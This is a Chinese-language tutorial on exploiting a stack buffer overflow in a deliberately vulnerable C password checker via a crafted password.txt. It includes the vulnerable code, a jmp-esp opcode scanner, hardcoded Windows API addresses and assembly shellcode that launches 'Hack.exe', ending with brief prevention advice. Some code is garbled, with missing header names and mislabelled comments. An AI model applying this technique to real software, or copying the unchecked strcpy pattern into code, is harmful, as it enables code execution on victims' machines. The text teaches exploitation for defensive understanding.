怎樣利用簡(jiǎn)單程序漏洞反病毒
怎樣利用簡(jiǎn)單程序漏洞反病毒
電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺已經(jīng)離不開電腦與網(wǎng)絡(luò),對(duì)于電腦病毒,今天小編在這里給大家推薦一些預(yù)防電腦病毒相關(guān)文章,歡迎大家圍觀參考,想了解更多,請(qǐng)繼續(xù)關(guān)注學(xué)習(xí)啦。
一、前言
大都數(shù)“病毒”都是可執(zhí)行文件(EXE格式),都是傳統(tǒng)意義上的惡意程序,它們?cè)诒挥脩綦p擊運(yùn)行后,就開始執(zhí)行自身代碼,實(shí)現(xiàn)相應(yīng)的功能,從而對(duì)用戶的計(jì)算機(jī)產(chǎn)生威脅。而這次我打算討論一種特殊的情況,也就是利用正常程序所存在的漏洞,僅僅通過文本文檔(TXT格式),來實(shí)現(xiàn)我們的對(duì)話框的啟動(dòng)。所以這篇文章的討論重點(diǎn)就在于簡(jiǎn)單的漏洞發(fā)掘以及運(yùn)用ShellCode實(shí)現(xiàn)漏洞的利用。在此不會(huì)討論復(fù)雜的情況,僅僅用淺顯的例子來說明這些問題,因?yàn)榧幢闶乾F(xiàn)實(shí)中的復(fù)雜情況,其基本原理是相似的。這也是為以后的篇章中討論更加復(fù)雜的情況打下基礎(chǔ)。
二、編寫含有漏洞的程序
在現(xiàn)今的軟件開發(fā)中,盡管程序員的水平在提高,編程技巧在不斷進(jìn)步,但是大部分人對(duì)于計(jì)算機(jī)安全的概念還是比較模糊的,真正掌握計(jì)算機(jī)安全技術(shù)的人畢竟還是少數(shù)。特別是計(jì)算機(jī)安全往往還涉及到系統(tǒng)底層原理、匯編甚至是機(jī)器碼,這就更加令人望而卻步。我在這里討論的就是一個(gè)含有漏洞的程序,它含有緩沖區(qū)溢出漏洞。緩沖區(qū)溢出攻擊是一種非常有效而常見的攻擊方法,在被發(fā)現(xiàn)的眾多漏洞中,它占了大部分。
以下就是本次所研究的程序:
#include #include
#include #define PASSWORD "1234567890"
int CheckPassword(char *pPassword)
{ int nCheckFlag;
char szBuffer[30]; nCheckFlag = strcmp(pPassword, PASSWORD);
strcpy(szBuffer, pPassword); //存在溢出漏洞 return nCheckFlag;
}
int main() {
int nFlag = 0; char szPassword[1024];
FILE *fp; LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt", "rw+"))) {
return 0; }
fscanf(fp,"%s",szPassword); nFlag=CheckPassword(szPassword);
if(nFlag) {
printf("Incorrect password!\n"); }
else {
printf("Correct password!\n"); }
fclose(fp); getchar();
return 0; }
這里來講解一下程序的運(yùn)行流程。main函數(shù)中首先會(huì)打開當(dāng)前目錄下的password.txt文件,然后調(diào)用CheckPassword函數(shù),該函數(shù)會(huì)對(duì)從password.txt文件讀取出來的內(nèi)容與字符串“1234567890”進(jìn)行比較,用于驗(yàn)證密碼是否正確,之后將用戶所輸入的密碼拷貝到子函數(shù)自己創(chuàng)建的數(shù)組中,再返回到主函數(shù),最后對(duì)用戶所輸入的密碼是否正確進(jìn)行顯示。
這個(gè)程序中之所以要用TXT文件來保存用戶輸入的密碼,就是為了方便之后的討論與觀察。而在子函數(shù)中將用戶輸入的密碼拷貝到一個(gè)數(shù)組中,僅僅是為了創(chuàng)造一個(gè)緩沖區(qū)溢出的漏洞,也是為了方便之后的討論。在現(xiàn)實(shí)中,可能難以出現(xiàn)這樣的情況。但是原理是一樣的,緩沖區(qū)溢出漏洞出現(xiàn)的原因就是因?yàn)闆]能檢測(cè)待拷貝數(shù)據(jù)的大小,而直接將該數(shù)據(jù)復(fù)制到另一個(gè)緩沖區(qū)中,從而使得惡意程序得到了攻擊的機(jī)會(huì)。
三、漏洞原理的分析
不論是對(duì)于本篇文章所討論的最簡(jiǎn)單的緩沖區(qū)溢出的漏洞,還是復(fù)雜的,可能會(huì)在未來的文章中討論的堆溢出以及SEH的利用,其核心可以說都是利用了指針(或者說是相應(yīng)的地址)來做文章。對(duì)于這次的程序來說,首先需要從反匯編的角度簡(jiǎn)單講一下程序的執(zhí)行原理。
主函數(shù)中會(huì)調(diào)用CheckPassword函數(shù),那么在反匯編中,就需要找到調(diào)用該函數(shù)的位置,這個(gè)很簡(jiǎn)單:
004010F3 E8 0DFFFFFF call 00401005
之所以能很快確定函數(shù)的位置,是因?yàn)樗谠闯绦蛑芯驮趂scanf函數(shù)的后面,那么反匯編中,他的位置也在fscanf的后面。這里有必要簡(jiǎn)單說一下call的實(shí)現(xiàn)原理。它分為兩步,第一步是向棧中壓入當(dāng)前指令在內(nèi)存中的位置,即保存返回地址(EIP所保存的地址,也就是call的下一條指令,EIP入棧);第二步是跳轉(zhuǎn)到所調(diào)用函數(shù)的入口處。進(jìn)入這個(gè)call,來到以下反匯編代碼處:
00401020 55 push ebp 00401021 8BEC mov ebp,esp
00401023 83EC 64 sub esp,64
可以說每一個(gè)函數(shù)的開始,其反匯編結(jié)果都是這么幾句。主要是三步:第一步需要保存當(dāng)前棧幀狀態(tài)值,以備后面恢復(fù)本棧幀時(shí)使用(EBP入棧);第二步將當(dāng)前棧幀切換到新棧(將ESP值裝入EBP,更新棧幀底部);第三步給新棧幀分配空間(把ESP減去所需空間的大小,抬高棧幀)。
這里需要說明的是,以上所分析的是程序的Debug版,如果是Release版,由于做了優(yōu)化,可能會(huì)有些不同,但也是遵循基本原理,在這里就不再對(duì)Release版進(jìn)行討論。
現(xiàn)在來看看堆棧中的情況,按照內(nèi)存地址遞減的順序,EBP相比EIP位于內(nèi)存的低地址處,這兩個(gè)寄存器在棧中是挨著的。再來看看CheckPassword函數(shù)結(jié)尾處的反匯編代碼:
0040106C 8BE5 mov esp,ebp 0040106E 5D pop ebp
0040106F C3 retn
可見這里首先將esp指向了當(dāng)前棧幀的棧底,之后從棧中彈出原始ebp的值,這樣就實(shí)現(xiàn)了恢復(fù)棧幀的操作。之后的retn語句,就是再次彈出棧頂?shù)闹?EIP),并轉(zhuǎn)去執(zhí)行EIP所指向的語句,也就是之前的call的下一條語句。
分析至此,就可以發(fā)現(xiàn),我們可以通過修改EIP所保存的值(指令地址),來實(shí)現(xiàn)跳轉(zhuǎn)到我們自己的“病毒代碼”地址處的目的。當(dāng)然這里我不會(huì)利用反匯編工具進(jìn)行修改,而是直接運(yùn)用password.txt這個(gè)文本文檔來實(shí)現(xiàn)。
四、定位EIP
知道了漏洞利用的原理,那么接下來就需要確定EIP的位置。EIP的位置盡管可以通過反匯編工具獲得,但是在此我不想用這種簡(jiǎn)單的方法,而是運(yùn)用Windows的報(bào)錯(cuò)對(duì)話框?qū)崿F(xiàn)EIP的定位。當(dāng)EIP被覆蓋為一個(gè)無效地址后,系統(tǒng)就會(huì)提示出錯(cuò),報(bào)錯(cuò)對(duì)話框就能夠顯示出來究竟是哪個(gè)地址(EIP)出錯(cuò),這里可以通過一些小技巧來定位。
當(dāng)然,每個(gè)人往往有自己認(rèn)為最好的定位方法,我個(gè)人比較喜歡的方法是運(yùn)用26個(gè)小寫字母連同26個(gè)大寫字母組成一長(zhǎng)串?dāng)?shù)據(jù)進(jìn)行測(cè)試,這樣一次性就能夠測(cè)試52個(gè)字節(jié)的長(zhǎng)度。具體方法是將這52個(gè)字母寫入password.txt文件,運(yùn)行程序查看是否報(bào)錯(cuò),如果不報(bào)錯(cuò),就再寫入52個(gè)字母,直至報(bào)錯(cuò)為止。幸運(yùn)的是,在這個(gè)程序中,前52個(gè)字母就使得報(bào)錯(cuò)對(duì)話框彈出了:
從報(bào)錯(cuò)對(duì)話框中可以得知,EIP已經(jīng)被覆蓋為0x5251504f,通過查詢ASCII碼表可以得知,對(duì)應(yīng)的四個(gè)字母是OPQR(小端顯示,我這里反過來寫了),于是可知,EIP的位置就是password.txt文檔內(nèi)容的第41至第44個(gè)字節(jié)處。
確定了EIP的位置,那么接下來就要確定應(yīng)當(dāng)給它賦以什么地址。這里當(dāng)然可以利用反匯編軟件在程序中尋找空余的位置,將代碼寫入,然后令EIP指向該代碼處。但是這里我打算用更加巧妙的方法——jmp esp。我們可以將EIP指向內(nèi)存中jmp esp的地址,然后將我們的程序的機(jī)器碼(ShellCode)順序從EIP處向下(地址高處)覆蓋,這樣jmp esp就能夠直接跳到我們的代碼處執(zhí)行了。
首先編程序?qū)ふ襧mp esp:
#include #include
#include #define DLL_NAME "user32.dll"
int main()
{ BYTE *ptr;
int position,address; HINSTANCE handle;
BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME);
if(!handle) {
printf("load dll error!"); exit(0);
} ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{ try
{ if(ptr[position]==0xFF && ptr[position+1]==0xE4)
{ int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address); }
} catch(...)
{ int address = (int)ptr + position;
printf("END OF 0x%x\n", address); done_flag = true;
} }
return 0; }
程序執(zhí)行結(jié)果如下:
上述程序中是在user32.dll中尋找jmp esp的機(jī)器碼FFE4,會(huì)查找到很多的結(jié)果,選擇其中的一個(gè)就可以。這里需要特別說明的是,不同的計(jì)算機(jī)不同的操作系統(tǒng)版本,所找到的jmp esp的地址可能會(huì)不一樣,就是說jmp esp的地址往往并不是通用的。當(dāng)然,也會(huì)有幾個(gè)地址是跨版本的,這個(gè)在這里不討論。這次我們選擇截圖中的第一個(gè)地址——0x77d93ac8。由于是小端顯示,所以應(yīng)當(dāng)在“OPQR”的位置反向書寫,即c83ad977。當(dāng)然這里不能夠直接用類似于記事本這樣的軟件進(jìn)行編輯,而是需要用十六進(jìn)制代碼編輯器操作。
五、編寫ShellCode
為了簡(jiǎn)單起見,我這里將“病毒”程序與上述漏洞程序放在同一目錄下,并且為了編寫方便,我這里將“病毒”名稱更改為Hack.exe。為了實(shí)現(xiàn)“病毒”的啟動(dòng),我不打算直接將“病毒”程序轉(zhuǎn)化為ShellCode,畢竟那樣的話工作量太大,而是編寫一個(gè)能夠啟動(dòng)“病毒”程序的ShellCode。這里我使用WinExec函數(shù)用于“病毒”的啟動(dòng),最后再用ExitProcess函數(shù)實(shí)現(xiàn)程序的正常退出。查詢這兩個(gè)函數(shù)句柄的代碼如下:
#include #include
typedef void (*MYPROC)(LPTSTR); int main()
{ HINSTANCE LibHandle;
MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32");
//獲取user32.dll的地址 printf("msvcrt LibHandle = //x%x\n", LibHandle);
//獲取MessageBoxA的地址 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WinExec");
printf("system = //x%x\n", ProcAdd);
return 0; }
運(yùn)行結(jié)果如下:
上述程序首先需要知道被查詢函數(shù)所在的動(dòng)態(tài)鏈接庫,先查出動(dòng)態(tài)鏈接庫的地址,之后利用這個(gè)地址,從而查詢相應(yīng)API函數(shù)的句柄。可以知道WinExec的句柄為0x7c863231,那么同理,ExitProcess函數(shù)的句柄為0x7c81bfa2。
至此,我們已經(jīng)獲得了足夠的信息,接下來就可以進(jìn)行ShellCode的編寫了,但是一般來說,我們不會(huì)特意去記憶十六進(jìn)制的機(jī)器碼,因此都是先寫出匯編程序,然后利用相應(yīng)的軟件通過轉(zhuǎn)換,從而查看其機(jī)器碼。具體的方法有很多,我還是比較傾向于在VC++6.0中以內(nèi)嵌匯編語言的形式進(jìn)行編寫:
_asm {
xor ebx,ebx push ebx
push 0x6578652e push 0x6b636148
mov eax,esp ;壓入字符Hack.exe
push ebx push eax
mov eax,0x7c863231 call eax ;調(diào)用WinExec函數(shù)
push ebx
mov eax,0x7c81bfa2 call eax ;調(diào)用ExitProcess函數(shù)
}
這里需要把a(bǔ)sm中的內(nèi)容轉(zhuǎn)化為機(jī)器碼,VC++6.0就可以實(shí)現(xiàn)(也可以使用其它反匯編軟件)。利用十六進(jìn)制文件編輯器,將提取出來的機(jī)器碼直接填寫進(jìn)password.txt中EIP的后面。
這里要說明的是,盡管以上僅僅是調(diào)用了非常簡(jiǎn)單的函數(shù),但是實(shí)際上,不管是什么函數(shù),其調(diào)用原理和上面是一樣的,都是首先需要把參數(shù)從右至左入棧,然后call該函數(shù)所在的地址。為了增強(qiáng)可移植性,可以利用TEB獲取相關(guān)函數(shù)的句柄,從而編寫出通用性極高的ShellCode出來(這些高級(jí)方法可能會(huì)在以后的文章中討論)。由此可見,漏洞可以很容易被惡意程序所利用。
當(dāng)編輯完password.txt后,運(yùn)行CheckPassword.exe程序,結(jié)果如下圖所示:
由此可見,僅僅是通過修改password.txt就能夠在神不知鬼不覺的情況下實(shí)現(xiàn)病毒的啟動(dòng)(盡管這一過程有諸多限制)。而這里所用到的WinExec函數(shù)也多用于“下載者”中,它是一種功能單一的惡意程序,能夠令受害的計(jì)算機(jī)到黑客指定的URL地址去下載更多的惡意程序并運(yùn)行。“下載者”體積小,易于傳播,當(dāng)它下載到病毒木馬后,通常就使用諸如WinExec這樣的函數(shù)來運(yùn)行病毒。
六、“病毒”的防范
漏洞的發(fā)掘與利用是一個(gè)較為高深的話題,在現(xiàn)實(shí)中,其發(fā)掘的難度是遠(yuǎn)遠(yuǎn)高于我在這里所舉的例子的。高明的黑客手中往往掌握著一些不被軟件生產(chǎn)廠家所知道的漏洞,他們利用這些軟件漏洞,往往就能夠?yàn)樗麨?。所以,這就要求我們培養(yǎng)良好的安全編碼習(xí)慣。在上述例子中,漏洞的出現(xiàn)就是因?yàn)槭褂昧藄trcpy函數(shù),更具體來說,因?yàn)槲覀儧]有對(duì)將要復(fù)制到緩沖區(qū)中的數(shù)據(jù)進(jìn)行長(zhǎng)度檢驗(yàn),導(dǎo)致了EIP被非法覆蓋,跳去了不應(yīng)該去的位置,執(zhí)行了不該執(zhí)行的代碼?,F(xiàn)實(shí)中的漏洞往往也是這個(gè)道理。所以在這種情況下,應(yīng)當(dāng)事先檢驗(yàn)數(shù)據(jù)的長(zhǎng)度,至少將strcpy替換成strncpy,盡管后者也存在危險(xiǎn),但至少會(huì)按照編程者要求的數(shù)據(jù)量的大小來拷貝數(shù)據(jù),這就安全多了。當(dāng)然我們系統(tǒng)版本的不斷升級(jí),在安全性方面也會(huì)不斷進(jìn)步。比如加入的Security Cookie就能夠較好地對(duì)緩沖區(qū)溢出的問題進(jìn)行防范。不過這也不是絕對(duì)安全的,畢竟在攻與防的對(duì)立統(tǒng)一中,技術(shù)是不斷進(jìn)步的。但是歸根結(jié)底,只有在源頭上做足功夫,才會(huì)讓黑客們無從下手。
七、小結(jié)
本篇文章構(gòu)造了一個(gè)特殊的環(huán)境——存在漏洞的程序——實(shí)現(xiàn)了“病毒”的自啟動(dòng)。由于關(guān)于漏洞的知識(shí)體系比較龐大且較為高深,我也只能用這個(gè)簡(jiǎn)單的程序來讓大家看看冰山的一角。這里需要再次說明的是,現(xiàn)實(shí)中漏洞的原理和利用方法可以說和這個(gè)例子是差不多的?,F(xiàn)實(shí)中可能需要我們編寫出更為通用的ShellCode來實(shí)現(xiàn)我們想要完成的功能,這些會(huì)在以后的文章中進(jìn)行討論。本篇文章僅僅是為了打好基礎(chǔ),為未來更加高深的知識(shí)的探討做好準(zhǔn)備。